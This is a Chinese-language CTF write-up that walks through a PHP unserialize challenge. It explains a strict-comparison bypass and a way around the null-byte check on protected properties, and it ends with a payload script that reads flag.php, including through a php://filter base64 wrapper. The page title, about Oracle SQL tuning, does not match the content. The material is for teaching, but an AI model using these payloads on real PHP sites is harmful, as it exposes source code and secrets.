1. 程式人生 > 實用技巧 >Oracle- 優化SQL(二)

Oracle- 優化SQL(二)

對整個程式碼進行審計之後,其實很明顯的,在程式碼的最後一部分中傳入str引數後,對字串進行反序列化操作。

因為這不是在建立一個物件所以不會觸發他的構造方法construct(),而是通過在銷燬物件時觸發他的destruct(),進入關鍵程式碼的。來看一下關鍵程式碼:

這裡需要注意的關鍵點是,if($this->op === "2") 對op的判斷用的是===,三個等號強型別比較。我們可以通過傳入一個數字2來繞過這個判斷。

 //魔術方法 destruct() 在結束時銷燬物件呼叫
    function __destruct() {
        //判斷op的值,如果op的值為2,就讓op值為1,並設定$content值為空串,呼叫process()
if($this->op === "2") $this->op = "1"; $this->content = ""; $this->process(); }

可以確定的是,我們這裡需要通過read()方法讀取flag.php,在檔案的開頭就有通過include(flag.php)包含到該檔案。因此呢,我們需要給$op傳入的值為2

read()方法就像對簡單了,只要求$filename不為空,就通過file_get_contents()方法去取檔案,也正是由此讀取flag.php。

 public
function process() { //如果 op=1 就呼叫write()方法 //如果 op=2 就給$res賦值為read()方法執行結果,並呼叫輸出方法輸出$res //否則就輸出hacker if($this->op == "1") { $this->write(); } else if($this->op == "2") { $res = $this->read(); $this->output($res); }
else { $this->output("Bad Hacker!"); } } //自定義方法read() private function read() { //先設定$res為空字串 $res = ""; //判斷$filename是否為空,不為空就讀取檔案,將讀出來的字串存放在$res中 if(isset($this->filename)) { $res = file_get_contents($this->filename); } //返回$res return $res; }

看一下這個自定義方法,這部分通過代for迴圈對傳進來的引數的每一位進行判斷,要求其每一位的ascii值必須在32-125之間,為什麼會強調這裡呢?是因為這個FileHandler類中的變數全部都是protected的,在對其物件進行序列化時,protected許可權的屬性會在屬性名前加上%00*%00來表示這個許可權,而%00的ascii碼為0,就無法通過is_valid()方法的檢驗。

對於這種情況,有幾種繞過的方法,其中簡單的一種就是,php7.1+版本對屬性的型別不敏感,因此在本地序列化時,可以將其屬性改成public的就可以繞過。

//自定義方法 is_valid
function is_valid($s) {
    //要求傳入的引數$s的每一位的ascii值必須在32-125之間,空格----}
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

最後呢,附上本地的序列化payload

這裡filename給了兩種不同的值,

其一,是直接傳入檔案的名字,通過read()方法,將檔案以字串形式讀取。

其二,因為file_get_contents()是支援php偽協議的,所以傳入filter的偽協議,將flag.php的原始碼以base64的形式讀取出來。

<?php
class FileHandler {
    public $op;
    public $filename;
    public $content;
    function __construct($op,$filename,$content) {
        $this->op=$op;
        $this->filename=$filename;
        $this->content=$content;
    }

}

$a = new FileHandler(2,'flag.php','');
$b = new FileHandler(2,'php://filter/read=convert.base64-encode/resource=flag.php','');
echo serialize($a);
echo "<br>";
echo serialize($b);